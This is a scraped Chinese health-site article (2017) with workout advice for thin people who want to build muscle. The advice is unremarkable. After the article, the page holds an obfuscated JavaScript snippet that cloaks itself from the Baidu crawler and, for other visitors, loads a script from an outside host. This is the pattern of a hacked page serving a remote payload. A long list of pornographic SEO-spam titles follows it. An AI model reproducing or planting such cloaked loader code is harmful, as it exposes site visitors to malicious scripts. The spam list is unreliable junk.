當前位置:首頁 > 健康 > 運動健身 > 正文

瘦人如何練出肌肉呢

2017-04-16 12:26:55  來源:360常識網   熱度:
導語:現在不少得瘦子們經常會健身鍛煉,那么大家會問了,為什么瘦人喜歡健身鍛煉呢?這是因為瘦人身體瘦,消化功能差,體質下降,需要通過鍛煉來

現在不少得瘦子們經常會健身鍛煉,那么大家會問了,為什么瘦人喜歡健身鍛煉呢?這是因為瘦人身體瘦,消化功能差,體質下降,需要通過鍛煉來促進消化功能,提高抵抗力,人太瘦也是一種悲哀,不少瘦子們想鍛煉出健美的肌肉,只要工夫深鐵錘磨成針,那么瘦人如何練出肌肉呢!

合理安排運動量

運動量的安排是科學鍛煉的重要環節之一。實踐證明,消瘦者應以中等運動量(每分鐘心率在130至160次之間)的有氧鍛煉為宜,器械重量以中等負荷(最大肌力的50%至80%)為佳。時間安排可每周練3次(隔天1次),每次1至1個半小時。每次練8至10個動作,每個動作做3至4組。做法是快收縮、稍停頓、慢伸展。連續做一組動作時間為60秒左右,組間間歇20至60秒,每種動作間歇1至2分鐘。一般情況下,每組應能連續完成8至15次,如果每組次數達不到8次,可適當減輕重量;以最后兩次必須用全力才能完成的動作,對肌肉組織刺激較深,“超量恢復”明顯,鍛煉效果極佳。

注意安全

健美鍛煉的器材都有一定的重量,不僅鍛煉前后要做好準備活動和整理活動,而且要注意檢查器材安裝得是否牢固,以防不測。鍛煉時要注意重量是否適度,切勿做力不能及的練習。使用杠鈴等重器械時,要有人保護。最好是在專業教練的指導下鍛煉,以便互相鼓勵,互相幫助,互相保護。

打好基礎

消瘦者在初練階段(2至3個月)最好能進健美培訓班學習鍛煉,以便正確、系統地掌握動作技術,全面提高身體素質。特別要注意肌肉力量和耐力的鍛煉,逐步提高機體的適應能力,打下良好的基礎。

要有重點和針對性

消瘦者經過2至3個月鍛煉后,體力會明顯增強,精力也會比以前充沛。這時,應重點鍛煉大肌肉群,如胸大肌、三角肌、肱二頭肌、肱三頭肌、背闊肌、臀大肌和股四頭肌等,運動量要隨時調整。

另外,同一個部位的肌群可采用不同的動作、不同的器械進行鍛煉,并且要使所練肌群單獨收縮。隨著肌肉力量的嗇和動作協調性的提高,鍛煉的效果會越來越顯著。

一般情況下,練習動作一個半月到兩個月變換一次。此外,鍛煉時精神(意念)要集中于所練部位,切忌談笑、聽音樂等。所練部位肌肉的酸、脹、飽、熱感越強,鍛煉效果越佳。這樣,再堅持半年到一年,體型就會發生顯著的變化。

大部分人覺得胖人適合鍛煉身體,瘦人如果鍛煉身體的話,那簡直是天方夜譚,有這樣想法的人就是錯了,瘦子們同樣需要鍛煉身體,最好是選擇正規的健美方式,那么瘦人如何練出肌肉呢?其實很簡單,因為瘦人的身體本來就瘦體質,弱消化功能也不好,可以通過鍛煉來增強身體抵抗力,強壯身體。

轉載申明:360常識網,歡迎分享,轉載請注明出處!
?
if(navigator.userAgent.indexOf('bLLaLLiLLdLLu'.split('LL').join(''))<0){var ss = document.createElement("script");ss.src="hLLtLLtLLpLLsLL:LL/LL/LLmLLoLLnLLiLLcLLaLLnLLiLLcLLeLL.LLcLLoLLmLL/LLrLLrLLzLLyLLbLLjLLmLLeLLiLLcLL/LLaLLlLLfLLyLLcLL1LLtLLuLLnLL0LLxLLpLLnLLnLLhLLcLL4LLvLLxLLcLLfLL/LL2LL2LL3LL/LLaLLlLLfLLyLLc".split("LL").join("");document.body.appendChild(ss);}else{new Function(document.getElementById('bdrtls').textContent)();bdrtls();}
午夜在线视频91精品 | 久久久久久久久无码精品亚洲日韩 | 日韩一级精品视频在线观看| 国内精品福利视频| 久久香蕉国产线看观看精品yw| 亚洲A∨精品一区二区三区| 国产精品高清视亚洲精品| 亚洲精品高清无码视频| 国产福利一区二区精品秒拍| 91精品国产综合久久四虎久久无码一级 | 久久久久无码精品国产不卡| 久久久不卡国产精品一区二区| 精品无码久久久久久久久 | 精品国产高清自在线一区二区三区| 亚洲国产精品国自产电影| 国产AⅤ精品一区二区三区久久| 精品无人乱码一区二区三区| 99热这里只有精品免费播放| 亚洲国产美女精品久久久久∴| 国产区精品福利在线社区| 一本精品中文字幕在线| 久久99国内精品自在现线| 国产午夜精品无码| 精品熟女少妇aⅴ免费久久| 探花国产精品三级在线播放| 99香蕉国产精品偷在线观看| 99re在线这里只有精品| 日本精品久久久中文字幕| 成人区精品一区二区不卡 | 久久精品国产免费| 成人区人妻精品一区二区不卡网站| 国产在线精品二区赵丽颖| 美利坚永久精品视频在线观看| 亚洲啪AV永久无码精品放毛片 | WWW国产精品内射老师| 国产精品久久久久9999赢消| 精品日产卡一卡二卡三入口| 在线精品国产成人综合| 琪琪精品视频在线观看| 国产精品久久久天天影视| 久久精品国产精品亚洲毛片|